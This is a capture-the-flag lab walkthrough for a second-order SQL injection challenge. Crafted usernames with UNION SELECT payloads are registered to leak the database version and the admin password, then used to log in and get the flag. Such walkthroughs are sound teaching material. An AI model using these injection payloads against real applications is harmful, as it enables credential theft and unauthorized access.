

Challenge 13

<http://192.168.2.11/sqli/admin2/>

[Level: Advanced]

- Login as admin to obtain the flag

Note that after you login, you get displayed your registered email:

You are not Admin!

Logged in as testest
Your email is:test@test.com

You will also find that although the registration page or login page is not vulnerable to SQL Injection, if you register with a crafted name (username with single quote in it), the email is not displayed, possibly because of 2nd order SQL Injection:

Registration Page

please input the registration details to create an account here

User Name :	user1'
email :	blah@blah.com
password :	●●●●●●●●
retype password :	●●●●●●●●
<input type="button" value="register me!"/>	

You are not Admin!

Logged in as user1'
Your email is:

Let's start playing by registering crafted username and see if we can pull out data from back-end database:

```
test' union select @@version#
```

You are not Admin!

Logged in as test' union select @@version#

Your email is:5.5.32-0ubuntu0.12.04.1

```
test' union select password from users #
```

This gives you the first password which is the password for admin user. Login as admin

Success!



[click here to go back](#)

well done, Flag is 815290

Further reading:

- <http://www.esecforte.com/blog/second-order-sql-injection/>
- <http://stackoverflow.com/questions/12952187/how-do-i-demonstrate-a-second-order-sql-injection>